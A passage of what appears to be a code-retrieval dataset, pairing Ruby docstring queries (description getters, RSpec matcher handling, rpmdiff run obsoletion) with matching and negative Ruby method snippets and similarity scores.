s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end" ]
[ "0.63330585", "0.5616903", "0.5567529", "0.5545411", "0.5532085", "0.5528243", "0.5437405", "0.542757", "0.5422451", "0.5417597", "0.54082537", "0.5390351", "0.53693163", "0.53656995", "0.53502274", "0.5349154", "0.530391", "0.5287195", "0.52777636", "0.525203", "0.52515835", "0.5242031", "0.52218556", "0.5215804", "0.5209067", "0.520539", "0.5178552", "0.517603", "0.5166033", "0.51594776", "0.51583034", "0.51553065", "0.5153969", "0.5145334", "0.51334196", "0.5104949", "0.51004297", "0.51004297", "0.5091873", "0.5089438", "0.5089438", "0.5089438", "0.5089438", "0.508351", "0.5080649", "0.50631994", "0.5058823", "0.50533867", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491" ]
0.0
-1
Overrides getter method to return the descriptions in the correct order.
def description return super if ordered_descriptions.blank? JSON.parse(ordered_descriptions) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def description\n values = super\n values = MetadataHelper.ordered( ordered_values: self.description_ordered, values: values )\n return values\n end", "def description\n values = super\n values = MetadataHelper.ordered( ordered_values: self.description_ordered, values: values )\n return values\n end", "def description\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: description_ordered, values: values )\n return values\n end", "def descriptions\n []\n end", "def descriptions\n Element.descriptions.collect { |e| e['contents'] }.flatten.compact\n end", "def descriptions\n Element.descriptions.collect { |e| e['contents'] }.flatten.compact\n end", "def getDescription\r\n\t\t\t\t\treturn @description\r\n\t\t\t\tend", "def getDescription\r\n\t\t\t\t\treturn @description\r\n\t\t\t\tend", "def descriptions\n return @detail + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end", "def description\n\t\t\treturn @description || self.generate_description\n\t\tend", "def desc\n return @desc\n end", "def get_description\n @description\n end", "def descriptions\n \n return @detail + \": \" + \"#{@extra_cost}\" + \". \" + @basic_transfer.descriptions\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def get_description\n return @m_description\n end", "def get_description\n return @m_description\n end", "def description\n return @description\n end", "def descriptions\n\t\t@profile[:descriptions]\n\tend", "def describe\n @description\n end", "def describe\n @description\n end", "def description\n end", "def description\n end", "def description\n @description\n end", "def description\n @description\n end", "def description\n @description\n end", "def description\n @description\n end", "def descriptions\n @@descriptions ||= Parser::DescriptionLookup.new\n end", "def description\n parsed {\n @description\n }\n end", "def description\n\n return @description\n\n end", "def description\n self[:description]\n end", "def description\n @data['description']\n end", "def description\n @data['description']\n end", "def description\n @tags.map { |tag| tag.to_s.capitalize }.join(\", \")\n end", "def description\n response_json = @client.api_get_request('', 'tree=description')\n response_json['description']\n end", "def desc\n Desc.new(self)\n end", "def descriptions\n return attributes[:descriptions] if attributes[:descriptions]\n attributes[:descriptions] = {}\n attributes[:descriptions]\n end", "def description\n @data['description']\n end", "def description\n\t # if the description exists\n\t # return it \n\t # else \n\t # scrape to get the description\n\t # return it\n\t # end\n\tend", "def description\n\t\t\t@data[\"description\"]\n\t\tend", "def description\n attributes.fetch(:description)\n end", "def category_descriptions\n return @category_descriptions\n end", "def description\n [basic_description, extra_description].compact.join(\" \")\n end", "def description\n text_get(7, @id)\n end", "def description\n @data['description']\n end", "def description\n end", "def descriptions\n @all_descriptions ||= @doc.match DESCRIPTION_MATCHES\n end", "def description\n [@group.description,@description].join(' ')\n end", "def desc\n\tend", "def desc\n\tend", "def long_desc\n return @inv.item_list\n end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description; end", "def description\n data.description\n end", "def description\n data.description\n end", "def description\n data.description\n end", "def description\n data[:description]\n end", "def description\n data[:description]\n end", "def description\n override_desc || self.to_s\n end", "def spec_descriptions\n [spec_description, spec_additional_description].compact\n end", "def description\n self[:description] || name\n end", "def best_description\n if description?\n description\n else\n additional_description\n end\n end", "def description\n object[\"description\"]\n end", "def description\n @attributes[:description]\n end", "def description\n\t\tdoCommandList.each do |commandItem|\n\t\t\tputs commandItem.description\n\t\tend\n\tend", "def description\n metadata[:description]\n end", "def description\n return summary\n end" ]
[ "0.83918476", "0.83918476", "0.8246103", "0.8174948", "0.78293824", "0.78293824", "0.7518224", "0.7518224", "0.74579006", "0.74172443", "0.73905724", "0.7305532", "0.728809", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.72795415", "0.725127", "0.725127", "0.7208961", "0.7204238", "0.7186111", "0.7186111", "0.71825546", "0.71825546", "0.71786636", "0.71786636", "0.71786636", "0.71786636", "0.7139787", "0.71371055", "0.7127517", "0.7105417", "0.7102408", "0.7102408", "0.70763224", "0.7059714", "0.70554405", "0.70509845", "0.70451796", "0.7039428", "0.70355374", "0.702365", "0.70224476", "0.70213825", "0.70009685", "0.6983467", "0.69833744", "0.6968843", "0.69604814", "0.69218516", "0.69218516", "0.6919842", "0.69027436", "0.69027436", "0.69027436", "0.69027436", "0.69027436", "0.69027436", "0.69027436", "0.69027436", "0.69027436", "0.69027436", "0.6899374", "0.6899374", "0.6899374", "0.68974173", "0.68974173", "0.6887503", "0.68651783", "0.6854229", "0.68474483", "0.6836502", "0.6809337", "0.6805386", "0.6805324", "0.67979276" ]
0.7655364
6
Override ActionController::Integration::Runner method_missing to keep RSpec be_ and have_ matchers working.
def method_missing(sym, *args, &block) # :nodoc: return Spec::Matchers::Be.new(sym, *args) if sym.to_s.starts_with?("be_") return has(sym, *args) if sym.to_s.starts_with?("have_") super end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def integration_test()\n return [\"all\"]\n end", "def perform_action_with_macro_stubs #:nodoc:\n @spec.send(:run_action!, run_with_expectations?) if @spec.send(:controller)\n end", "def test_should_only_inject_test_runner_mediator_for_lauching_dtr\n DTR.inject\n assert Test::Unit::UI::TestRunnerMediator.respond_to?(:reject_dtr)\n assert Test::Unit::UI::TestRunnerMediator.method_defined?(:run_suite_without_dtr_injection)\n assert Test::Unit::UI::TestRunnerMediator.private_method_defined?(:create_result_without_thread_safe)\n assert !Test::Unit::TestCase.respond_to?(:reject_dtr)\n assert !Test::Unit::TestCase.method_defined?(:run_without_dtr_injection)\n end", "def run(*args) #:nodoc:\n return if @method_name == \"default_test\"\n super\n end", "def test_should_only_inject_test_runner_mediator_for_lauching_dtr\n DTR.inject\n assert Test::Unit::UI::TestRunnerMediator.respond_to?(:reject_dtr)\n assert Test::Unit::UI::TestRunnerMediator.method_defined?(:run_suite_without_dtr_injection)\n assert Test::Unit::UI::TestRunnerMediator.private_method_defined?(:create_result_without_thread_safe)\n end", "def run\n integration.run(self)\n end", "def integration_test?\n # checks for the existance of a method only found in integration tests\n defined?(post_via_redirect)\n end", "def inspec_runner\n # When running under inspec-cli, we have an 'inspec' method that\n # returns the runner. When running under unit tests, we don't\n # have that, but we still have to call this to pass something\n # (nil is OK) to the backend.\n # TODO: remove with https://github.com/chef/inspec-aws/issues/216\n # TODO: remove after rewrite to include AwsSingularResource\n inspec if respond_to?(:inspec)\n end", "def inspec_runner\n # When running under inspec-cli, we have an 'inspec' method that\n # returns the runner. When running under unit tests, we don't\n # have that, but we still have to call this to pass something\n # (nil is OK) to the backend.\n # TODO: remove with https://github.com/chef/inspec-aws/issues/216\n # TODO: remove after rewrite to include AwsSingularResource\n inspec if respond_to?(:inspec)\n end", "def run(reactor, event, handle)\n raise \"Override me\"\n end", "def should_run?\n raise NoMethodError\n end", "def should_run?\n raise NoMethodError\n end", "def should_run?\n raise NoMethodError\n end", "def respond_to_missing?(method_name, include_private = false)\n controller.respond_to?(method_name) || super\n end", "def matches?(runner)\n raise NotImplementedError\n end", "def standalone_discovered; self; end", "def standalone_discovered; self; end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n return true\n end", "def run\n begin\n self.class.roby_should_run(self, Roby.app)\n super\n rescue MiniTest::Skip => e\n puke self.class, self.name, e\n end\n end", "def method_missing(method, *args, &block)\n __check_expectation__(method, args)\n block.call if block\n end", "def rspec?; ::ENV['TEST_RUNNER'].present?; end", "def test_legacy\n # Set up legacy handlers\n setup_legacy_handling\n\n common_tests\n end", "def integration_test?\n # The post_via_redirect method is available only in integration tests.\n defined?(post_via_redirect)\n end", "def run; raise NotImplementedError; end", "def run; raise NotImplementedError; end", "def respond_to_missing?(*args)\n method_name = args.first\n delegates_controller_method?(method_name) || super\n end", "def method_missing(*args)\n result = nil\n orig = args.shift\n class_sym = self.class.name.to_sym\n m = orig.to_s[0,5] == '_DAV_' ? orig : \"_DAV_#{orig}\" # If hell is doing the same thing over and over and expecting a different result this is a hell preventer\n raise NoMethodError.new(\"Undefined method: #{orig} for class #{self}.\") unless respond_to?(m)\n @runner.call(class_sym, :before, orig)\n result = send m, *args\n @runner.call(class_sym, :after, orig)\n result\n end", "def run\n begin\n time_it do\n self.class.roby_should_run(self, app)\n end\n rescue Minitest::Skip\n return Minitest::Result.from(self)\n end\n\n super\n end", "def running\n fail 'not impl.'\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def main_run\n raise NotImplementedError\n end", "def method_missing(method_name, *args)\n (args && args.size > 0) ? super(method_name, *args) : before_method(method_name)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def integration_test?\n defined?(post_via_redirect)\n end", "def respond_to_missing?(_method_name, _include_all)\n ::Kernel.raise ::NotImplementedError\n end", "def respond_to_missing?(_method_name, _include_all)\n ::Kernel.raise ::NotImplementedError\n end", "def should_block_access\n should_respond_with :missing\n should_render_template \"404\"\n should_not_set_the_flash\n end", "def test_mixin_get_parameters\n ::Nitro::Compiler.mixin_get_parameters = true\n \n tests = {\n '/double?arg1=bar;arg2=foo' => {\n :action => :double,\n :params => {'arg1' => 'bar', 'arg2' => 'foo'},\n :arguments => ['bar', 'foo']\n }\n }\n \n tests.each do |url, value|\n assert_request_good url, value\n end\n ensure\n ::Nitro::Compiler.mixin_get_parameters = false\n end", "def before_running(*args); end", "def respond_to_missing?(method_name, include_private = false)\n %i[\n generate rails_command template\n run git source_paths empty_directory append_to_file\n environment application say inject_into_class\n inject_into_file directory\n ].include?(method_name) || super\n end", "def respond_to_missing?(method_name, include_private = false)\n Configuration.instance.respond_to?(method_name) || super\n end", "def run!\n raise NotImplementedError\n end", "def run\n fail NotImplemented.new(\"`run` instance method must be implemented in class #{self.class}\") unless defined?(super)\n interaction_run = super\n if success?\n @result = interaction_run\n end\n end", "def run\n raise \"Not implemented for this check.\"\n end", "def run(*)\n raise NotImplementedError, \"Expected #{self.class} to implement ##{__method__}\"\n end", "def respond_to_missing?(*_args); super; end", "def run\n raise NotImplementedError.new(\"The run method must be overridden\")\n end", "def allow_to_delay_run(klass, opts = {})\n stub_service_delay :allow, :allow_to_run, klass, opts\n end", "def override_command_bus_with(command_bus)\n allow(Rails.configuration).to receive(:command_bus).and_return(command_bus)\n end", "def run_all_integration_specs(handler: ->(_code) {}, logger: ->(_msg) {})\n Dir['spec/integration/*']\n .map { |directory| directory.split('/').last }\n .each do |integration|\n logger.call(%(Running \"#{integration}\" integration spec))\n system(integration_command(integration, 'bundle --quiet'))\n system(integration_command(integration, \"bundle exec rspec #{integration_path(integration)}\"))\n handler.call($CHILD_STATUS.exitstatus)\n end\nend", "def should; super end", "def integrate!\n raise NotImplementedError.new\n end", "def setup_rspec_integration(env)\n RSpec.configure do |config|\n config.include @helpers\n config.before(:each) { Journeyman.attach(self) }\n end\n end", "def tests(controller_class); end", "def run\n raise ArgumentError, \"You must override this method\"\n end", "def autorun?\n fail NotImplementedError\n end", "def expect_to_run(klass, opts = {})\n stub_service_run(:expect, klass, opts)\n end", "def respond_to_missing?(name, include_priv)\n super\n end", "def respond_to_missing?(method, include_all = false)\n handles?(method) || super(method, include_all)\n end", "def method_missing(method_name, *args)\n if responders.include?(method_name)\n response_method_for(method_name, *args)\n else\n super\n end\n end", "def method_missing(method_name, *arguments, &block)\n # Check to see if there is a control_dsl plugin activator hook with the method name\n registry = Inspec::Plugin::V2::Registry.instance\n hook = registry.find_activators(plugin_type: :control_dsl, activator_name: method_name).first\n if hook\n # OK, load the hook if it hasn't been already. We'll then know a module,\n # which we can then inject into the context\n hook.activate\n\n # Inject the module's methods into the context.\n # implementation_class is the field name, but this is actually a module.\n self.class.include(hook.implementation_class)\n # Now that the module is loaded, it defined one or more methods\n # (presumably the one we were looking for.)\n # We still haven't called it, so do so now.\n send(method_name, *arguments, &block)\n else\n # If we couldn't find a plugin to match, maybe something up above has it,\n # or maybe it is just a unknown method error.\n super\n end\n end", "def be_applied_middleware\n Spec::Support::Matchers::BeAppliedMiddlewareMatcher.new\n end", "def run\n raise NotImplementedError.new\n end", "def respond_to_missing?(*several_variants)\n super\n end", "def setup_default_integration(env)\n env.send :include, @helpers\n Journeyman.attach(env)\n end", "def run\n raise NotImplementedError\n end", "def run\n raise NotImplementedError\n end", "def run\n raise NotImplementedError\n end", "def run\n raise NotImplementedError\n end", "def enable_test_interface\n extend Dry::Configurable::TestInterface\n end", "def method_missing(*args)\n compatible_call(*args)\n rescue\n end", "def test_dispatch_with_exception\n Net::HTTP.class_eval do\n def self.get_response(*_args) # rubocop:todo Lint/DuplicateMethods\n raise\n end\n end\n\n properties = {\n 'env' => 'dummyKey',\n 'combination' => 1,\n 'url' => 'https://dev.visualwebsiteoptimizer.com/server-side/track-user',\n 'ed' => '{\"p\": \"server\"}',\n 'random' => 0.7382938446947298,\n 'ap' => 'server',\n 'u' => '09CD6107E42B51F9BFC3DD97EA900990',\n 'experiment_id' => 229,\n 'sId' => 1_565_949_670,\n 'sdk-v' => '1.0.2',\n 'sdk' => 'python',\n 'account_id' => 60_781\n }\n\n result = @dispatcher.dispatch(properties, {}, 'end_point')\n assert_equal(result, false)\n end", "def integration_test?\n defined?(follow_redirect!)\n end", "def run\n raise JobRunnerError.new(\"#{self.class} must implement the #run method\")\n end", "def configure\n not_implemented(__method__)\n end", "def custom_runner?\n Gem::Version.new(MiniTest::Unit::VERSION) >= Gem::Version.new('2.1.0')\n end", "def run\n raise NotImplementedError, 'Services must implement #run'\n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n return true\n\n end", "def test_run\n assert_respond_to(@ts, :run)\n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n return true\n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n return true\n end", "def stubbed?\n raise NotImplementedError\n end", "def respond_to_missing?(method_name, include_private = false)\n valid?(method_name) || super\n end", "def run(*arguments)\n raise NotImplementedError\n end", "def run_linter\n fail NotImplementedError\n end", "def method_missing(method, *args, &block)\r\n @spec.send(method, *args, &block)\r\n end", "def entry_point\n raise NotImplementedError\n end", "def integration_test?\n Rails.env.test? && defined?(Cucumber::Rails)\n end", "def runner\n Runner.new(http_adapter )\n end", "def respond_to_missing?( id, priv = false ) id != :call; end", "def respond_to_missing?(name, include_private = false)\n known_action?(name) ||\n known_resource?(name) ||\n known_exception?(name) ||\n super\n end", "def trigger(_identifier, _action_instance)\n raise Errors::Backend::NotImplementedError, 'Requested functionality is not implemented'\n end" ]
[ "0.5369722", "0.53546184", "0.5345501", "0.53306067", "0.5316047", "0.52844465", "0.5265524", "0.525484", "0.525484", "0.5176735", "0.5175517", "0.5175517", "0.5175517", "0.51664907", "0.51389277", "0.51351213", "0.51351213", "0.5061017", "0.5060949", "0.5042363", "0.50131947", "0.49711835", "0.4935436", "0.49351898", "0.49351898", "0.49177533", "0.48935634", "0.48901612", "0.48835406", "0.4880514", "0.4880514", "0.4880514", "0.4880514", "0.48720968", "0.4858416", "0.48250484", "0.48250484", "0.48250484", "0.48250484", "0.48250484", "0.48250484", "0.48250484", "0.48240578", "0.48240578", "0.4814508", "0.47978482", "0.47916472", "0.4784286", "0.47820932", "0.47756043", "0.47693375", "0.47673902", "0.47658136", "0.47645423", "0.47634354", "0.47539136", "0.47537768", "0.47513407", "0.4750167", "0.47478274", "0.47459224", "0.47447228", "0.47410247", "0.47385454", "0.47375742", "0.47356015", "0.47348082", "0.4734774", "0.47234914", "0.47222003", "0.47174472", "0.47091335", "0.4699168", "0.46964833", "0.46964833", "0.46964833", "0.46964833", "0.46942583", "0.46880051", "0.46853665", "0.46788236", "0.4674113", "0.46679416", "0.4663844", "0.4653062", "0.46452263", "0.4644917", "0.46433356", "0.46433356", "0.46418756", "0.46416697", "0.463663", "0.46355078", "0.4633204", "0.46299785", "0.46296692", "0.46245402", "0.46221176", "0.46176052", "0.4609076" ]
0.49374482
22
Obsoleting a mapping means some rpmdiff runs might have become obsolete. This is processed after commit, rather than after save, because the result is affected by whether additional mappings have been added or rpmdiff runs scheduled. Therefore we should not obsolete runs until all modifications for the current transaction have been made.
def after_commit(mapping) if obsoleted?(mapping) RpmdiffRun.invalidate_obsolete_runs(mapping.errata) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def done_mapping(action)\n @free_tems[[@rindex_tems[action[:with]], action[:with]]] = true\n @reduce_queue[action[:output_id]] = true\n end", "def map_finished\n @glade['toolbar_move'].sensitive = true\n @glade['toolbar_record_points'].sensitive = true\n @glade['toolbar_generate_map'].active = false\n end", "def revert_conflicts\r\n self.update_conflicts(-1)\r\n #@tile.hit()\r\n end", "def retract_reverse_mappings\n @binary_mappings.each do |object_type, mapping|\n mapping.all_member.to_a. # Avoid problems with deletion from all_member\n each do |member|\n next unless member.is_a?(MM::Mapping)\n member.retract if member.forward_mapping # This is the reverse of some mapping\n end\n mapping.re_rank\n end\n end", "def unmap(mapped)\r\n @rev_map[mapped]\r\n end", "def cmvc_extract_changed rmap\n\n raise \"oops, not done\"\nend", "def hard_save\n args = request_params\n @uncommitted = save_and_remove_all(args[:map_id], args[:round])\n render json: @uncommitted\n end", "def purge!\n @map = {}\n end", "def release_lock_and_update_status_for_non_processed_hooks\n\n @hooks_to_be_processed.each do |hook|\n\n failed_hook_to_be_retried = @failed_hook_to_be_retried[hook.id]\n hook.mark_failed_to_be_retried(failed_hook_to_be_retried) if failed_hook_to_be_retried.present?\n\n failed_hook_to_be_ignored = @failed_hook_to_be_ignored[hook.id]\n hook.mark_failed_to_be_ignored(failed_hook_to_be_ignored) if failed_hook_to_be_ignored.present?\n\n end\n\n end", "def update_projectiles\n @projectiles.delete_if do |proj|\n proj.update\n proj.disposed?\n end\n end", "def possibly_set_as_completed\n # this is a guard against setting something completed that isn't and that will make this method fail\n return false unless available_in_merritt? # this also sets @mrt_results member variable so we don't have to redo the query again\n\n merritt_id = \"#{APP_CONFIG[:repository][:domain]}/d/#{@mrt_results['ark']}\"\n StashEngine.repository.harvested(identifier: resource.identifier, record_identifier: merritt_id)\n\n if StashEngine::RepoQueueState.where(resource_id: resource_id, state: 'completed').count < 1\n StashEngine.repository.class.update_repo_queue_state(resource_id: resource_id, state: 'completed')\n end\n\n update_size!\n ::StashEngine.repository.cleanup_files(resource)\n true\n end", "def done_finalizing(action)\n @free_tems[[@rindex_tems[action[:with]], action[:with]]] = true\n @output_id = action[:final_id] \n end", "def synchronize(mapping)\n Synchronizer.new(mapping).run(@changes)\n end", "def display_missed_mappings\n if !@missedMappings.empty?\n @missedMappings.each do |term|\n puts \"WARNING: \\\"#{term}\\\" doesn't map to anything in oboe.yaml, and thus won't be displayed in the mzIdentML file.\"\n end\n end\n end", "def map_actions\n actions = []\n return actions if @unmapped_items.empty?\n free_tems_with_sec(:mapper).each do |tem|\n break unless item = @unmapped_items.pop\n @free_tems.delete [@rindex_tems[tem], tem]\n actions.push :action => :map, :item => item, :with => tem,\n :output_id => next_output_id\n end\n actions\n end", "def dirty; end", "def unlock_all\n update_all('$set': { locking_name_field => nil, locked_at_field => nil }).modified_count\n end", "def map_cleanup\n if !identity_count.zero?\n nowi = Time.now.to_i\n # delete_if is atomic\n # contents should not mutate during this call\n identity_map.delete_if do |identity, compo|\n if (flag = compo.eviction_timeout <= nowi)\n evict_flush(compo.codec)\n end\n flag\n end\n end\n current_size_and_limit\n end", "def no_changes_once_finished\n if changed? && finished_was == true\n errors.add(:base, \"cannot change a finished record.\")\n end\n end", "def after_save(tag_mapping)\n invalidate_cache\n end", "def mark_modified\n @modified = true\n nil\n end", "def restart!\n update_attributes(completed_at: nil)\n end", "def redo\n transaction do\n redoables = self.class.find(:undone, :all, :to => self.id, :include => :changes)\n raise Stale unless redoables.include? self\n redoables.each do |op|\n op.changes.each { |change| change.redo }\n op.undone = false\n op.save!\n end\n end\n end", "def after_save\n df = DataFile.find_by_id(self.orig_data_file_id)\n unless df.blank?\n df.annotations.each do |a|\n a.annotatable = self\n #need to call update without callbacks, otherwise a new version is created\n a.send(:update_without_callbacks)\n\n #versions for annotations are no longer enabled in SEEK - but this code is left here incase they are re-enabled in the future.\n a.versions.each do |av|\n av.annotatable =self\n av.save\n end\n end\n end\n super\n end", "def move_finished\n @glade['toolbar_generate_map'].sensitive = true\n @glade['toolbar_record_points'].sensitive = true\n @locate_thread = nil\n @glade['toolbar_move'].active = false\n end", "def reset_mappings\n yield self if block_given?\n http.post('/__admin/mappings/reset', '')\n end", "def undo_changes\r\n return synchronize( true )\r\n end", "def unmap(mapped)\r\n @list.each do |st|\r\n entry = st.unmap(mapped)\r\n return entry if entry\r\n end\r\n end", "def set_as_complete\n mark_as_complete_and_save\n end", "def on_op_change_force_uncurrent\n if sake_op_changed?\n write_current_sake_op\n mark_all_tasks_uncurrent\n end\n end", "def drop_activity_markers\n table_name = \"#{options[:rep_prefix]}_running_flags\"\n [:left, :right].each do |database|\n if session.send(database).tables.include? table_name\n session.send(database).drop_table table_name\n end\n end\n end", "def task(name, mapping)\n log \" #{name} between #{mapping.database_model.name} and #{mapping.salesforce_model}\"\n runtime = Benchmark.realtime { yield }\n log format(\" COMPLETE after %.4f\", runtime)\n\n return true\n rescue => e\n error(e)\n\n return false\n end", "def rebase_map(old_vma, new_vma)\n m = @maps[old_vma]\n raise(\"VMA %X not found!\" % [old_vma]) if ! m\n check_map_overlap(new_vma, m.size)\n m.vma = new_vma\n @maps[new_vma] = m\n remove_map(old_vma)\n end", "def redo\n\t\tself.apply()\n\tend", "def mark_as_complete_and_save\n self.complete = true\n save\n end", "def clean_up_map map\n {\n id: map[0].to_i,\n release: map[1],\n unknown1: map[2],\n component: map[3],\n version: map[4],\n path1: map[5],\n path2: map[6],\n unknown2: map[7],\n mode: map[8],\n type: map[9].to_sym,\n unknown3: map[10]\n }\n end", "def update_mapping!(timestamp, mapping)\n return false if (!@mapping.nil? && timestamp < @mapping[:timestamp])\n return false if (!@mapping.nil? && @mapping[:data] == mapping)\n @mapping = {\n data: mapping,\n timestamp: timestamp\n }\n true\n end", "def clean(mapping)\n Cleaner.new(mapping, runner).run\n end", "def mask_as_done!\n @completed = true\n end", "def undo\n if(File.exist?(@newName) and @hasExecuted == true)\n File.rename(@newName, @filepath)\n @hasExecuted=false\n end\n end", "def commit_if_dirty\n # no op\n end", "def revert_complete\n QcInspection.transaction do\n self.set_status STATUS_IN_PROGRESS\n end\n end", "def complete!\n complete\n ensure\n IsolatedExecutionState.delete(self.class.active_key)\n end", "def remove_mapping(grub_device)\n data.delete(grub_device)\n end", "def mark_complete\n self.complete = true\n self.save\n end", "def dont_write_cache_commitment\n if changes['quantity_committed']\n self.quantity_committed = changes['quantity_committed'][0]\n end\n end", "def repair!\n update!\n end", "def mark_pmrs_as_dirty\n calls.each { |call| call.pmr.mark_as_dirty }\n end", "def update_completed? ; false ; end", "def reset_index_and_mapping\n\n if Elastic::Rebound.client.index_exists?(@index_name)\n Elastic::Rebound.client.delete_mapping({:index => @index_name, :type => @object_name}) rescue nil\n Elastic::Rebound.client.delete_index @index_name rescue nil\n end\n\n\n end", "def finalize_job_and_interpreters\n update_attribute(:has_interpreter_assigned, true)\n update_attribute(:has_interpreter_assigned_at, Time.zone.now)\n if self.attempted_interpreters.any?\n self.attempted_interpreters.each do |attempted_interpreter|\n self.attempted_interpreters.delete(attempted_interpreter)\n end\n end\n end", "def clear_completed\n\t\t\t@completed_tasks = Hash.new\n\t\t\tupdate\n\t\tend", "def check_for_changes_affecting_cached_pdfs\n overlap = %w(branching_logic position requirement) & previous_changes.keys\n return if overlap.empty?\n\n design.touch :pdf_cache_busted_at\n end", "def mark_complete(db, complete, name)\n\tcomplete = \"complete\"\n\tdb.execute(\"UPDATE upper_body SET complete=? WHERE name=?\", [complete, name])\n\tdb.execute(\"UPDATE lower_body SET complete=? WHERE name=?\", [complete, name])\n\tputs \"set #{name} to complete\"\nend", "def unload!\n @versions = nil\n @version_json = {}\n @last_update = {}\n @maps = {}\n @mappings = nil\n end", "def delete_maps\n own_maps.each do | map |\n logger.debug \"deleting map #{map.inspect}\"\n map.destroy\n end\n end", "def delete_maps\n own_maps.each do | map |\n logger.debug \"deleting map #{map.inspect}\"\n map.destroy\n end\n end", "def remap(mapping)\n from = mapping.keys.first\n to = mapping[from]\n add_step do |attrs|\n attrs[to] = attrs.delete(from) if attrs.has_key?(from)\n attrs\n end\n end", "def names_mapping_updated?\n lastru = RepoUpdate.last\n # Use started_at in case a revised names manager is deployed while an update\n # is running.\n lastru ? NamesManager.mapping_updated_since?(lastru.started_at) : true\n end", "def clear_modification_status\r\n @modified = false\r\n end", "def clear_modified\n @modified = false\n nil\n end", "def prune_index\n missing_files=index_time_dbm_file.reject{|filename,itime| File.exists?(filename) && Picolena::IndexedDirectories.any?{|dir,alias_path| filename.starts_with?(dir)}}\n missing_files.each{|filename, itime|\n index.writer.delete(:complete_path, filename)\n index_time_dbm_file.delete(filename)\n logger.debug \"Removed : #{filename}\"\n }\n index.optimize\n end", "def set_complete_incomplete\n @tasks_incomplete = @tasks.where(\"completed = 'f'\").order('tasks.created_at DESC')\n @tasks_complete = @tasks.where(\"completed = 't'\").order('tasks.created_at DESC')\n end", "def reset_output_map; @output_map = nil; end", "def cleanup_abandoned\n Reservation.all(:conditions => [ \"CONFIRM = ? and updated_at < ? and archived = ?\", false, 30.minutes.ago, false]).each do |r|\n debug \"cleanup_abandoned: deleting #{r.id}\"\n Reason.close_reason_is \"abandoned\"\n begin\n\tr.archive\n rescue RuntimeError => err\n\terror 'Cleanup: ' + err.to_s\n rescue ActiveRecord::StaleObjectError => err\n\terror 'Cleanup: ' + err.to_s\n\tlocking_error(r)\n end\n end\n end", "def update_task_completion_status_caches!\n return nil if completion_criteria.blank? && context_object_completion_criteria.blank?\n logger.info { \"Updating task completion status cache for OfferingAdminPhaseTask id #{id}\" }\n for r in relevant_records\n r.update_task_completion_status_cache!(self)\n r.save\n end\n end", "def update_simulations(id_change_map)\n Rails.logger.debug(\"Size of new ids: #{id_change_map.size}\")\n\n simulation_runs.where({}, {sort: { id: -1 }}).each do |simulation_run|\n new_simulation_id = id_change_map[simulation_run.index]\n\n Rails.logger.debug(\"Simulation id: #{simulation_run.index} -> #{new_simulation_id}\")\n\n next if simulation_run.index == new_simulation_id\n\n simulation_run.destroy\n\n simulation_run.index = new_simulation_id\n simulation_run.save\n end\n end", "def update_appeal_state_when_ihp_completed\n if IHP_TYPE_TASKS.include?(type) &&\n !IHP_TYPE_TASKS.include?(parent&.type) &&\n status == Constants.TASK_STATUSES.completed\n MetricsService.record(\"Updating VSO_IHP_COMPLETED column to TRUE & VSO_IHP_PENDING column to FALSE in Appeal\"\\\n \" States Table for #{appeal.class} ID #{appeal.id}\",\n service: nil,\n name: 